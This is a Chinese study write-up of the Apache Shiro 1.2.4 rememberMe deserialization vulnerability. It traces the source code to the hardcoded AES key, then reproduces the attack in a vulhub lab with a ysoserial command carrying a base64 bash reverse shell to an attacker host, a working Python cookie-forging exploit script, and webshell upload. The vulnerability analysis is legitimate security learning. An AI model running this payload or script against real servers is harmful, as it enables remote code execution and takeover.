Shiro反序列化漏洞分析

一、前言

⚠️ 该文章只作学习记录,其文章深度并不能作为学习研究所用,文章漏洞代码分析部分或有乱序,请不要将该文章作为正确的漏洞分析文章,可直接转至参考文章学习漏洞原理。

二、Java 序列化与反序列化

Java 序列化 是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream 类的 writeObject() 方法可以实现序列化。

Java反序列化 是指把字节序列恢复为 Java 对象 的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class test{
public static void main(String args[])throws Exception{
//定义obj对象
String obj="hello world!";
//创建一个包含对象进行反序列化信息的”object”数据文件
FileOutputStream fos=new FileOutputStream("object");
ObjectOutputStream os=new ObjectOutputStream(fos);
//writeObject()方法将obj对象写入object文件
os.writeObject(obj);
os.close();
//从文件中反序列化obj对象
FileInputStream fis=new FileInputStream("object");
ObjectInputStream ois=new ObjectInputStream(fis);
//恢复对象
String obj2=(String)ois.readObject();
System.out.print(obj2);
ois.close();
}
}

序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。

1
2
把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;
在网络上传送对象的字节序列,接收方接收到字符序列后,使用反序列化从字节序列中恢复出Java对象;


三、漏洞环境搭建

1、Shiro源码下载,并导入 IDEA

1
https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

image-20220928202955004

2、配置 tomcat 环境

配置 tomcat 前先配置文件输出路径,不然后续配置 tomcat 会因为没有定义输出路径而报错

image-20220928203618300

image-20220928203753728

image-20220928203915011

配置 tomcat

image-20220928203035559
image-20220928203130826
image-20220928204038094

指定漏洞 shiro 反序列漏洞 war 包

image-20220928205231718

点击右上角运行符号

image-20220928205446844
成功搭建

image-20220928205531084

配置本地IP 方便 burp抓包

image-20220928210335367
image-20220928210423508

配置 JDK

image-20220928205046633

四、漏洞分析

1、漏洞原理

Shiro≤1.2.4 版本默认使用 CookieRememberMeManager,持久化地将信息序列化后加密后保存在 Cookie 的 rememberMe 字段中,当系统下次读取时先进行解密再反序列化从而获取信息。由于该版本内置了一个默认且固定的由 AES 加密 的硬编码 Key 值 ,因此攻击者可通过使用默认的 Key 对恶意构造的序列化数据进行加密,当 CookieRememberMeManager 对恶意的 rememberMe 进行处理时,最终会对恶意数据进行反序列化,从而导致反序列化漏洞。

用户获取请求,系统主要处理过程:获取 Cookie 中 rememberMe 的值 -》 对 rememberMe 进行 Base64 解码 -》使用 AES 进行解密 -》对解密的值进行反序列化

2、代码分析

加密分析

shiro-shiro-root-1.2.4/core/src/main/java/org/apache/shiro/mgtorg/apache/shiro/mgt/DefaultSecurityManager.java 代码中可知,由 rememberMeSuccessfulLogin 方法,定义是否登录成功,创建对象 rmm

image-20221001165149272

跟进对象的 rmm 的 onSuccessfulLogin 方法,通过全局搜索定位到 onSuccessfulLogin 实现代码位于 AbstractRememberMeManager.java

image-20221001170316531

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
//always clear any previous identity:
forgetIdentity(subject);

//now save the new identity:
if (isRememberMe(token)) {
rememberIdentity(subject, token, info);
} else {
if (log.isDebugEnabled()) {
log.debug("AuthenticationToken did not indicate RememberMe is requested. " +
"RememberMe functionality will not be executed for corresponding account.");
}
}
}

利用 forgetIdentity 方法对 subject 进行处理

image-20221001170628404

继续跟进 forgetIdentity 方法,查看其具体实现代码,定位到实现代码位置为 CookieRememberMeManager.java

image-20221001171009787

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
 protected void forgetIdentity(Subject subject) {
if (WebUtils.isHttp(subject)) {
HttpServletRequest request = WebUtils.getHttpRequest(subject);
HttpServletResponse response = WebUtils.getHttpResponse(subject);
forgetIdentity(request, response);
}
}

/**
* Removes the 'rememberMe' cookie from the associated {@link WebSubjectContext}'s request/response pair.
* <p/>
* The {@code SubjectContext} instance is expected to be a {@link WebSubjectContext} instance with an HTTP
* Request/Response pair. If it is not a {@code WebSubjectContext} or that {@code WebSubjectContext} does not
* have an HTTP Request/Response pair, this implementation does nothing.
*
* @param subjectContext the contextual data, usually provided by a {@link Subject.Builder} implementation
*/
public void forgetIdentity(SubjectContext subjectContext) {
if (WebUtils.isHttp(subjectContext)) {
HttpServletRequest request = WebUtils.getHttpRequest(subjectContext);
HttpServletResponse response = WebUtils.getHttpResponse(subjectContext);
forgetIdentity(request, response);
}
}

/**
* Removes the rememberMe cookie from the given request/response pair.
*
* @param request the incoming HTTP servlet request
* @param response the outgoing HTTP servlet response
*/
private void forgetIdentity(HttpServletRequest request, HttpServletResponse response) {
getCookie().removeFrom(request, response);
}
}

通过 getCokie() 获取用户请求的 Cookie ,再执行 removeFrom 方法

image-20221001202501429

继续跟进 removeFrom, 定位具体执行代码位置为 SimpleCookie.java

image-20221001202758070

removeFrom 方法定义了一些方法体,并将值返回与 response 头部添加 Set-Cookie:rememberMe=deleteMe

image-20221001203541265

回到 onSuccessfulLogin 方法中,若设置了 rememberMe 则进入 rememberIdentity

image-20221001204041201

跟进 rememberIdentity 方法,Ctrl + 鼠标左键,代码位置 AbstractRememberMeManager.java ,具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {
PrincipalCollection principals = getIdentityToRemember(subject, authcInfo);
rememberIdentity(subject, principals);
}

/**
* Returns {@code info}.{@link org.apache.shiro.authc.AuthenticationInfo#getPrincipals() getPrincipals()} and
* ignores the {@link Subject} argument.
*
* @param subject the subject for which the principals are being remembered.
* @param info the authentication info resulting from the successful authentication attempt.
* @return the {@code PrincipalCollection} to remember.
*/
protected PrincipalCollection getIdentityToRemember(Subject subject, AuthenticationInfo info) {
return info.getPrincipals();
}

/**
* Remembers the specified account principals by first
* {@link #convertPrincipalsToBytes(org.apache.shiro.subject.PrincipalCollection) converting} them to a byte
* array and then {@link #rememberSerializedIdentity(org.apache.shiro.subject.Subject, byte[]) remembers} that
* byte array.
*
* @param subject the subject for which the principals are being remembered.
* @param accountPrincipals the principals to remember for retrieval later.
*/
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
rememberSerializedIdentity(subject, bytes);
}

/**
* Converts the given principal collection the byte array that will be persisted to be 'remembered' later.
* <p/>
* This implementation first {@link #serialize(org.apache.shiro.subject.PrincipalCollection) serializes} the
* principals to a byte array and then {@link #encrypt(byte[]) encrypts} that byte array.
*
* @param principals the {@code PrincipalCollection} to convert to a byte array
* @return the representative byte array to be persisted for remember me functionality.
*/
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = serialize(principals);
if (getCipherService() != null) {
bytes = encrypt(bytes);
}
return bytes;
}

由上代码可知,rememberIdentity 使用了 convertPrincipalsToBytes 对 accountPrincipals(用户名)进行了处理

image-20221001204642446

进入 convertPrincipalsToBytes 后,使用 serialize 对 principals(用户名)进行处理,如果不为空则进行 encrypt 加密处理

image-20221001204916754

跟进 serialize 方法,查看去具体实现代码

image-20221001205605497

对 principals(用户名)利用 writeObject 方法进行序列化(该方法文章开头有说明)

image-20221001205850975

现在知道了 AbstractRememberMeManager.java 中 convertPrincipalsToBytes 对用户名进行了序列化,同位置下,再查看其 bytes 加密方式,如果 getCipherService() 不为空则对 bytes进行加密

image-20221002105038632

跟进 getCipherService()

image-20221002105113490

image-20221002105212735

查看 cipherService 调用情况,全局搜索 this.cipherService

image-20221002111915882

返回 convertPrincipalsToBytes 方法中跟进 bytes 中 encrypt 加密,Ctrl + 鼠标左键 进入,这里通过 cipherService.encrypt 传入序列化数据和 getEncryptionCipherKey()

image-20221002110713564

跟进 getEncryptionCipherKey(),Ctrl + 鼠标左键,返回一个加密 Key

image-20221002111026239

查看调用,全局搜索 this.encryptionCipherKry

image-20221002111502727

这一步查看 cipherService 调用的时候,发现 setCipherKey 方法在构造方法里面被调用了。

image-20221002112059260

查看 DEFAULT_CIPHER_KEY_BYTES , CTRL+鼠标左键进入,默认 Key 值为 kPH+bIxk5D2deZiIxcaaaA==

image-20221002112234044

回到AbstractRememberMeManager.java的rememberIdentity方法中,在convertPrincipalsToBytes对用户名进行序列化后,进入到 rememberSerializedIdentity 方法对 subject、byte 进行处理

image-20221002102940381

跟进 rememberSerializedIdentity ,具体实现代码位于 CookieRememberMeManager.java

image-20221002103109939

对 Cookie 进行了 base64 加密处理,保存在 Cookie 中

image-20221002103257797

至止,加密结束。


解密分析

通过搜索分析解密,回溯上一层,直接选中 decrypt 鼠标右键 File Usages,定位代码,回溯上一层代码,代码为右下方

image-20221003210457908

image-20221003210757811

继续回溯 convertBytesToPrincipals

image-20221003210905788

全局搜索定位 getRememberedSerializedIdentity 方法具体代码

image-20221003211707942

image-20221003211532163

解密后继续调用 convertBytesToPricipals 方法

image-20221003211913642

继续跟进 convertBytesToPricipals 方法,CTRL + 鼠标左键进入

image-20221003212030943

继续跟进 decrypt ,解密后得到的结果为序列化字符串的bytes,然后进入 deserialize

image-20221003212136191

得到序列化数值后在进行反序列化操作

image-20221003212959172

image-20221003213037441


五、漏洞复现

1、确认是否使用 Shiro 框架

正常访问时

image-20221003214114011

当我们在 Cookie 处添加 remember=111 时,返回包出现 remember=deleteMe 则证明网站使用 Shiro 框架

image-20221003214254415

2、漏洞探测

burp 插件探测,发现 key 即处在 key 泄露,可构造攻击

image-20221003214813621

3、漏洞利用

图形化利用工具,监测密钥

image-20221003220946760

爆破利用链

image-20221003221058326

命令执行

image-20221003221158962

上传 webshell 自定义路径为当前网站根目录,获取 webshell

image-20221003222145191

image-20221003222431550

4、Linux 反弹shell

环境如下:

环境 描述
靶机 IP 192.168.114.140
攻击机 IP 192.168.114.139
反弹shell vps xxx.xxx.xxx.xxx
漏洞环境 vulhub shiro/CVE-2016-4437
生成shiro 反序列化攻击 payload expShiro.py
辅助工具 ysoserial-all.jar

下载 vulhub ,进行 shiro 目录利用 docker 拉取 shiro 漏洞环境镜像

image-20221015103652468

访问 8080 端口

image-20221015103818676

服务器启监听,等待接收shell

1
nc -lvp 2333

image-20221015143616770

启用 ysoserial-all.jar 工具中的 JRMP 监听模块,监听 1999 端口并执行反弹 shell 命令

1
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1999 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94LngueC54LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}'

image-20221015143557298

expShiro.py 生成 payload,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext


if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))

命令:python3 expShiro.py x.x.x.x:1999

image-20221015143803339

将生成的 rememberMe 数据于 burp 放包执行获取反弹 shell

image-20221015144055376

image-20221015144009953

六、小结

本文只作学习记录,文章中出现的环境及工具可在 Github 仓库 Download。

七、参考文章

1
2
3
4
5
https://www.geekby.site/2021/10/shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/`
http://changxia3.com/2020/09/03/Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E7%AC%94%E8%AE%B0%E4%B8%80%EF%BC%88%E5%8E%9F%E7%90%86%E7%AF%87%EF%BC%89/
https://blog.csdn.net/qq_44769520/article/details/123476443
https://cloud.tencent.com/developer/article/1590955
https://www.freebuf.com/vuls/290922.html